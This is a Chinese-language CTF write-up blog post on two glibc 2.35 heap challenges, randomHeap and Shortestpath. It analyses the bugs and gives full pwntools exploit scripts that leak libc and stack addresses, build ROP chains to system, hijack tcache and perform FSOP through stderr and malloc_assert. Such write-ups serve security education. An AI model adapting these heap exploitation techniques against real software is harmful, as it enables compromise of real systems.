中华武数杯2023 WP

最喜欢的高版本堆题,挺有意思的.
所以到底叫上海大师杯还是中华武数杯

randomHeap

glibc2.35堆,保护全开

逆向

程序实现了这样的堆管理结构.初始化时,分配了16个堆管理结构和16个大小为0x28字节的堆块,放入chunk_list和chunk_manager_list.正常情况下这两个结构应该是用户不可见的.

用户的对堆块的操作是通过user_chunk_manager_list,每次add会从chunk_manager_list取出一个堆管理结构的指针放到user_manager_list中,不涉及malloc的操作.

这三个list之间的id是随机产生的,没有对应关系.且堆块和堆管理结构的分配顺序也是随机的.

在show的时候没有对idx的判断,可以将IO_2_1_stdin_结构作为伪造的堆管理结构,泄露出libc地址.在edit的时候也没有对offset的判断.可以使offset为负数来修改某个堆块上方的堆管理结构,由于堆块和管理结构产生顺序随机,这里需要爆破一下,之后就可以完成任意地址读写.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
lg = lambda x, y: log.success(f'{x}: {hex(y)}')

while True:
io = process(binary)
p.init(io,e,libc)
show(-34)
io.recvuntil('Data: ')
io.recv(5)
p.leak_libc('libc_base',p.recvaddress('bytes')-0x21ba80)

add(0,'aaaa\n')
for i in range(1,16):
add(i,'b\n')
edit(0,-0x18,p64(p.environ_addr))
stack = 0
idx = 0
for i in range(1,16):
show(i)
io.recvuntil('Data: ')
r = io.recv(8,timeout=0.2)
stack = u64(r)-0x120
if not hex(stack).startswith('0x7ff'):
continue
else:
idx = i
lg("stack",stack)
break
if idx == 0:
io.close()
continue


edit(0,-0x18,p64(stack))
edit(idx,0,p64(p.libc_rdi))
edit(0,-0x18,p64(stack+8))
edit(idx,0,p64(p.binsh_addr))
edit(0,-0x18,p64(stack+0x10))
edit(idx,0,p64(p.libc_ret))
edit(0,-0x18,p64(stack+0x18))
edit(idx,0,p64(p.system_addr))
menu(5)

io.sendline('cat /flag')
if p.recvflag():
break

预期解

init的时候分配了这样的大堆块,可以部分覆写chunk_manager的指针来指向这些大块,释放进largebin再泄露地址.

预期解爆破挺不容易的,要爆堆布局和爆一位ASLR.可以用扫描所有堆结构尝试泄露地址的方式来减少堆布局的爆破.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
ia = lambda: io.interactive() if io.connected() else io.close()
one_gadget = lambda filename=LIBC: list(map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split()))

while True:
remain = list(range(2,15))
io = process(binary)
p.init(io,e,libc)
add(0,'aaa\n')
for i in range(1,15):
add(i,'b\n')
delete(1)
edit(0,-0x18,b'\x90\xa0\n')
heap = 0
idx = 0
for i in range(2,15):
show(i)
io.recvuntil('Data: ')
r = io.recv(8,timeout=0.2)
heap = u64(r)-0x120
if not hex(heap).startswith('0x55'):
continue
else:
idx = i
lg("idx",idx)
# pause()
break

if idx == 0:
io.close()
continue

edit(0,-0x18,b'\xa0\xa2\n')
delete(idx)
print(idx)
print(remain)
remain.remove(idx)

add(16,'aaa\n')
edit(16,-0x18,b'\xa0\xa2\n')
heap = 0
idx = 0
for i in remain:
show(i)
io.recvuntil('Data: ')
r = io.recv(8,timeout=0.2)
addr = u64(r)
if not hex(addr).startswith('0x7f'):
continue
else:
idx = i
lg("idx:",idx)
# pause()
break
if idx == 0:
io.close()
continue

show(idx)
io.recvuntil('Data: ')
p.leak_libc('libc_base',p.recvaddress('bytes')-0x219ce0)

edit(16,-0x18,p64(p.environ_addr))
io.recv()
show(idx)
io.recvuntil('Data: ')
stack = p.recvaddress('bytes')-0x120
lg("stack",stack)

edit(16,-0x18,p64(stack))
edit(idx,0,p64(p.libc_base+0x2a745))
edit(16,-0x18,p64(stack+8))
edit(idx,0,p64(p.binsh_addr))
edit(16,-0x18,p64(stack+0x18))
edit(idx,0,p64(p.system_addr))
menu(5)

io.sendline('cat /flag')
if p.recvflag():
break

Shortestpath

2.35堆,保护全开

逆向

是一个求图中两点间最短路径的程序,算法大概是从起点开始广搜然后比较所有能到达终点的路径长度(一点算法不懂的表示很难逆).

程序的图是用如下结构来表示的.

可以无限制的创建结点和边,输入函数有个offbynull,且可以绕开’\0’的截断,由此可以将tcache和unsortedbin中的堆拿出来,泄露堆和libc地址.

现在就差任意写了,看看最短路径函数.
变量命名有点逆天,因为我是按照刚学的算法逆的,逆完发现就是个广搜.

该函数使用如下的结构.算法首先创建了一个PathInfo的数组dist(存储路径信息)和一个S_set集合(记录一个结点是否已经以其为源点进行过广搜).
manager中的bottom_idx和top_idx,用作dist数组的索引.可以理解为双指针(形成的队列).
每搜到一个结点,无论是否已经由其他点出发搜到过,将该路径信息存到dist[top_idx]中.top_idx++.每以一个结点为源点开始搜索,将dist[bottom_idx]取出存到栈上的path,进行计算操作,bottom_idx++.这样top_idx和bottom_idx之间的PathInfo,就是已搜到但还未以其为源点搜索的结点(其实是路径信息).直到top_idx==bottom_idx,完成广搜.

不过有一个问题,dist数组只分配了node_count+1个PathInfo,而算法是每搜到一个结点,无论是否已经由其他点出发搜到过,将该路径信息存到dist数组中,所以存在溢出.构造一个图,其中一个结点有很多条入边,可以Poc出这个漏洞.

但我没有往这方面走,因为有另一个洞更吸引我注意.这个洞在逆向过程中很容易发现:啊啊啊这两个__int64到底是啥啊也没初始化啊啊.嗯哼,manager结构没有初始化.我们可以提前布置一个堆块伪造manager结构并释放,在short的时候取出,将其作为manager,由于tcache取出时对key的清0,bottom_idx的初始值一定为0.我们仅能控制top_idx.

看看怎么利用.可以发现在进入循环之前的深搜初始化工作,将起点存到dist[top_idx]中,其中src_key是我们可控的,于是便有了dist+top_idx*0x18+8地址处的8字节任意写.

别高兴太早,这样破坏内存的行为很容易导致程序崩溃.
橙色框中是容易导致崩溃的地方(还有内循环的store_dist函数).尝试通过黄色框中的条件绕过:第一个比较是无符号比较,无法通过负数绕过.第二个比较的cur_key不可控,无法绕过.gg
于是为了避免崩溃,我们的top_idx只能为一个较小数,只能完成在堆上的近似任意写(近似是因为有0x18倍数的要求).那就劫持tcache然后改stderr,再利用offbynull清空topchunk触发malloc_assert.

exp

唉,最喜欢的调堆环节.
我知道exp里结点编号很乱…调完风水懒得改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

p.init(io,e,libc)

promt = ":"

def menu(option):
io.sendlineafter(':',str(option))

def add(src,dst,size,content,val):
global promt
menu(1)
io.sendlineafter(promt,str(src))
io.sendlineafter(promt,str(dst))
io.sendlineafter(promt,str(size))
io.sendafter(promt,content)
io.sendlineafter(promt,str(val))
def short(src,dst,step):
global promt
menu(3)
io.sendlineafter(promt,str(src))
io.sendlineafter(promt,str(dst))
io.sendlineafter(promt,str(step))
def show(src,dst):
global promt
menu(4)
io.sendlineafter(promt,str(src))
io.sendlineafter(promt,str(dst))
def delete(src,dst):
global promt
menu(2)
io.sendlineafter(promt,str(src))
io.sendlineafter(promt,str(dst))

lg = lambda x, y: log.success(f'{x}: {hex(y)}')
ia = lambda: io.interactive() if io.connected() else io.close()
one_gadget = lambda filename=LIBC: list(map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split()))
dbg = lambda: gdb.attach(io,cmd)


add(13,0x40,0xC0,'a\n',0) #将来的dist块
add(0x40,13,0x40,'a\n',0) #将来用来劫持的tcache
add(0x40,12,0x40,'a\n',0) #将来用来劫持的tcache
add(10,11,0xf0,'a\n',0)
add(10,12,0xf0,'a\n',0)
add(10,13,0xf0,'a\n',0)
add(10,0x40,0xf0,'a\n',0)
add(11,12,0xf0,'a\n',0)
add(11,13,0xf0,'a\n',0)
add(11,0x40,0xf0,'a\n',0)
add(12,13,0xf0,'a\n',0)
add(12,0x40,0xf0,'a\n',0)#防止合并

#填满tcache,得到unsortedbin
delete(10,11)
delete(10,12)
delete(10,13)
delete(10,0x40)
delete(11,12)
delete(11,13)
delete(11,0x40)
delete(12,13)
delete(13,0x40)
delete(0x40,13)
delete(0x40,12)

#放进tcache取出拿堆地址
add(10,11,0xf0,'\n',0)
show(10,11)
io.recvuntil('Data: ')
heap_base = p.demangle(p.recvaddress('bytes'))-0xb60
lg("heap_base",heap_base)
delete(10,11)

#切割unsortedbin拿libc_base
add(10,11,0x18,'\n',0)
show(10,11)
io.recvuntil('Data: ')
p.leak_libc('libc_base',p.recvaddress('bytes')-0x219dd0)
delete(10,11)

target = p.libc_base+libc.sym['stderr']


add(p.mangle(heap_base+0x900,target),0,0xf0,'a\n',0)

#布置未初始化内存留给short用,0x11为top_idx,劫持tcache的next指针
payload = flat([0,0,p.p48(0x11),b'\n'])
add(10,11,0x18,payload,b'\n')
delete(10,11)

#触发任意写
short(p.mangle(heap_base+0x900,target),0,0)

#准备FSOP
payload = p.obstack_attack(heap_base+0xb50,{'system':p.system_addr,'io_obstack_jumps':p.libc_base+0x2163c0})+b'\n'
# print(hex(len(payload)))
add(520,1314,0xf0,payload,0)

#劫持stderr指针
add(20,21,0x40,'a\n',0)
add(20,23,0x40,p64(heap_base+0xb50)+b'\n',0)

#准备malloc_assert
for i in range(394):
add(520,1000+i,0xf0,'\n',0)
add(520,998,0xf0,'a\n',0)
add(520,999,0xa8,'a'*0xa8,0)


#触发malloc_assert
menu(1)
io.sendlineafter(promt,str(114514))

io.sendline('cat flag')
p.recvflag()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信